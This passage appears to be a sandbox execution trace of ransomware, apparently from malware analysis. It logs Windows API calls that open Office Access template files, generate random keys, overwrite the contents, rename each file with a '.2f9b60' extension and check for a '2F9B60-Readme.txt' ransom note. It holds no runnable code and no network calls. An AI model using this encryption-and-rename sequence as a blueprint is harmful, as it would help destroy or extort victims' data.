Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" [0138.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\2f9b60-readme.txt")) returned 0x20 [0139.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c030) returned 1 [0139.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862b40) returned 1 Thread: id = 1871 os_tid = 0xf1c [0133.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\start end dates.accft")) returned 0x20 [0133.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft", dwFileAttributes=0x20) returned 1 [0133.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Start End Dates.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\start end dates.accft"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b60 [0133.253] GetFileSizeEx (in: hFile=0x1b60, lpFileSize=0x2be2f8e0 | out: lpFileSize=0x2be2f8e0*=4194) returned 1 [0133.253] SetFilePointerEx (in: hFile=0x1b60, liDistanceToMove=0x105e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.253] ReadFile (in: hFile=0x1b60, lpBuffer=0x2be2f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2be2f8a8, lpOverlapped=0x0 | out: lpBuffer=0x2be2f860*, lpNumberOfBytesRead=0x2be2f8a8*=0x4, lpOverlapped=0x0) returned 1 [0133.274] SetFilePointerEx (in: hFile=0x1b60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267020 [0133.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202671a0 [0133.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f30 [0133.274] NtQuerySystemTime (in: CurrentTime=0x2be2f7a0 | out: CurrentTime=0x2be2f7a0*=132462177385198000) returned 0x0 [0133.274] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x74549eda [0133.274] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x3b19110a [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x73c22d64 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x5cfcee63 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x7b71ea69 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x58967e8b [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x43363678 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x7207e4bd [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x467c46e6 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x5c5f8efc [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x1eb26c10 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x2d5f5eed [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x263bac23 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x27a486f2 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x531c1aa4 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x14bd77f1 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x76f804c8 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x909acce [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x2b71b98f [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x75d2ac79 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x6ac70367 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x38db8004 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x585f9103 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x69732884 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x3193c5f9 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x37888bd7 [0133.275] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x55abe4ea [0133.276] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x64303009 [0133.276] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x6bde3a10 [0133.276] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x3fb77053 [0133.276] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x6bc8fcc2 [0133.276] RtlRandomEx (in: Seed=0x2be2f790 | out: Seed=0x2be2f790) returned 0x5c2714f5 [0133.288] ReadFile (in: hFile=0x1b60, lpBuffer=0x1cf35640, nNumberOfBytesToRead=0x1062, lpNumberOfBytesRead=0x2be2f790, lpOverlapped=0x0 | out: lpBuffer=0x1cf35640*, lpNumberOfBytesRead=0x2be2f790*=0x1062, lpOverlapped=0x0) returned 1 [0133.292] SetFilePointerEx (in: hFile=0x1b60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.292] WriteFile (hFile=0x1b60, lpBuffer=0x1cf39250, nNumberOfBytesToWrite=0x1062, lpNumberOfBytesWritten=0x2be2f794, lpOverlapped=0x0) [0180.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda5b0 [0180.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc8c0 [0180.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc8c0) returned 1 [0180.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf39250) returned 1 [0180.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf35640) returned 1 [0180.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d470) returned 1 [0180.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0180.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1ce5e930 [0186.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420589c0 [0186.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0186.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d20 [0186.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8d20) returned 1 [0186.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1ce5e970 [0186.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8d20 [0186.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8cf0 [0186.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8cf0) returned 1 [0186.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0186.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420589c0) returned 1 [0186.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x42c21be0 [0186.933] SetFilePointerEx (in: hFile=0x1b60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.933] WriteFile (in: hFile=0x1b60, lpBuffer=0x42c21be0*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2be2f8b0, lpOverlapped=0x0 | out: lpBuffer=0x42c21be0*, lpNumberOfBytesWritten=0x2be2f8b0*=0x11c, lpOverlapped=0x0) returned 1 [0201.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ea0 [0201.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2ea0) returned 1 [0201.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d330 [0201.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ea0 [0201.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2e70 [0201.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2e70) returned 1 [0201.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b859390 [0201.166] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="bd") returned 2 [0201.166] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="f2") returned 2 [0201.166] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="1f") returned 2 [0201.166] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="b5") returned 2 [0201.166] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="ed") returned 2 [0201.166] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="c9") returned 2 [0201.166] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="29") returned 2 [0201.166] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="ad") returned 2 [0201.166] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="ea") returned 2 [0201.166] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="98") returned 2 [0201.166] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="1f") returned 2 [0201.166] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="5b") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="ad") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="6f") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="25") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="6f") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="f3") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="9d") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="04") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="bc") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="02") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="0f") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="c2") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="56") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="77") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="4e") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="f1") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="d5") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="4d") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="2e") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="1b") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="c2") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="3b") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593d8, _Format="%c%c" | out: _Dest="46") returned 2 [0201.167] sprintf (in: _Dest=0x1b8593da, _Format="%c%c" | out: _Dest="9a") returned 2 [0201.168] sprintf (in: _Dest=0x1b8593dc, _Format="%c%c" | out: _Dest="10") returned 2 [0201.168] sprintf (in: _Dest=0x1b8593de, _Format="%c%c" | out: _Dest="d0") returned 2 [0201.168] sprintf (in: _Dest=0x1b8593e0, _Format="%c%c" | out: _Dest="2c") returned 2 [0201.168] sprintf (in: _Dest=0x1b8593e2, _Format="%c%c" | out: _Dest="05") returned 2 [0201.168] RtlInitAnsiString (in: DestinationString=0x2be2f928, SourceString="bdf21fb5edc929adea981f5b5cadcd6f256ff39d04bc020fc26e56774ef1d54d2e1bc23b469a10d02c05" | out: DestinationString="bdf21fb5edc929adea981f5b5cadcd6f256ff39d04bc020fc26e56774ef1d54d2e1bc23b469a10d02c05") [0201.168] RtlAnsiStringToUnicodeString (in: DestinationString=0x2be2f8f8, SourceString="bdf21fb5edc929adea981f5b5cadcd6f256ff39d04bc020fc26e56774ef1d54d2e1bc23b469a10d02c05", AllocateDestinationString=1 | out: DestinationString="bdf21fb5edc929adea981f5b5cadcd6f256ff39d04bc020fc26e56774ef1d54d2e1bc23b469a10d02c05") returned 0x0 [0201.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x4314b4a0 [0201.168] wcscat (in: _Dest=0x4310a8c0, _Source="bdf21fb5edc929adea981" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\bdf21fb5edc929adea981") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\bdf21fb5edc929adea981" [0201.168] wcscat (in: _Dest=0x4310a8c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\bdf21fb5edc929adea981.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\bdf21fb5edc929adea981.2f9b60" [0201.168] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\bdf21fb5edc929adea981.2f9b60", NtPathName=0x2be2f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\bdf21fb5edc929adea981.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b799250 [0210.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799250) returned 1 [0210.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43204e80) returned 1 [0210.575] NtQueryInformationFile (in: FileHandle=0x1b60, IoStatusBlock=0x2be2f938, FileInformation=0x2be2f948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2be2f938, FileInformation=0x2be2f948) returned 0x0 [0210.575] NtSetInformationFile (FileHandle=0x1b60, IoStatusBlock=0x2be2f938, FileInformation=0x2be2f948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0215.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310a8c0) returned 1 [0215.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314b4a0) returned 1 [0215.234] FlushFileBuffers (hFile=0x1b60) returned 1 [0215.254] CloseHandle (hObject=0x1b60) returned 1 [0217.668] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862880 [0217.668] wcscpy (in: _Dest=0x1b862880, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\" [0217.668] wcscat (in: _Dest=0x1b862880, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" [0217.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\2f9b60-readme.txt")) returned 0x20 [0217.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862880) returned 1 [0217.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278830) returned 1 Thread: id = 1872 os_tid = 0xd6c [0133.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\status.accft")) returned 0x20 [0133.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft", dwFileAttributes=0x20) returned 1 [0133.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Status.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\status.accft"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b5c [0133.298] GetFileSizeEx (in: hFile=0x1b5c, lpFileSize=0x2bcdf900 | out: lpFileSize=0x2bcdf900*=4405) returned 1 [0133.298] SetFilePointerEx (in: hFile=0x1b5c, liDistanceToMove=0x1131, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.298] ReadFile (in: hFile=0x1b5c, lpBuffer=0x2bcdf880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bcdf8c8, lpOverlapped=0x0 | out: lpBuffer=0x2bcdf880*, lpNumberOfBytesRead=0x2bcdf8c8*=0x4, lpOverlapped=0x0) returned 1 [0133.312] SetFilePointerEx (in: hFile=0x1b5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0133.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266fc0 [0133.313] NtQuerySystemTime (in: CurrentTime=0x2bcdf7c0 | out: CurrentTime=0x2bcdf7c0*=132462177385510000) returned 0x0 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x49346e98 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x4b2314a9 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x42758354 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x60325809 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x22375a23 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x2b5f1f9d [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x18b5e084 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x46302b4a [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x2812fc63 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x53f5e54a [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x24adb90e [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x4c13541c [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x10d3cff1 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x109cf486 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x7beedd65 [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x3c702f0e [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x5774669f [0133.313] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x221cb812 [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x6464071d [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0xc0eb349 [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x4bb99539 [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x63dd77ed [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x26a415c1 [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x4f4b5313 [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x19fb0e7b [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x72652d6a [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x7dfb924c [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x26f764a0 [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x7c160e53 [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x2c58fb1a [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x34884edf [0133.314] RtlRandomEx (in: Seed=0x2bcdf7b0 | out: Seed=0x2bcdf7b0) returned 0x322cdc2c [0133.325] ReadFile (in: hFile=0x1b5c, lpBuffer=0x1cf3ce60, nNumberOfBytesToRead=0x1135, lpNumberOfBytesRead=0x2bcdf7b0, lpOverlapped=0x0 | out: lpBuffer=0x1cf3ce60*, lpNumberOfBytesRead=0x2bcdf7b0*=0x1135, lpOverlapped=0x0) returned 1 [0133.327] SetFilePointerEx (in: hFile=0x1b5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.327] WriteFile (hFile=0x1b5c, lpBuffer=0x1cf40a70, nNumberOfBytesToWrite=0x1135, lpNumberOfBytesWritten=0x2bcdf7b4, lpOverlapped=0x0) [0180.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda490 [0180.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda4c0 [0180.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda4c0) returned 1 [0180.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf40a70) returned 1 [0180.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf3ce60) returned 1 [0180.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0180.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0180.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda4c0 [0180.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0180.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dcf0 [0180.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda4f0 [0180.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda4f0) returned 1 [0180.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda4f0 [0180.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda400 [0180.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda670 [0180.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda670) returned 1 [0180.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0180.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0180.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423ab2b0 [0180.204] SetFilePointerEx (in: hFile=0x1b5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.205] WriteFile (in: hFile=0x1b5c, lpBuffer=0x423ab2b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bcdf8d0, lpOverlapped=0x0 | out: lpBuffer=0x423ab2b0*, lpNumberOfBytesWritten=0x2bcdf8d0*=0x10a, lpOverlapped=0x0) returned 1 [0199.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bf40 [0199.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0199.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa70 [0199.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aa70) returned 1 [0199.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0199.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa70 [0199.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053b20 [0199.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053b20) returned 1 [0199.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 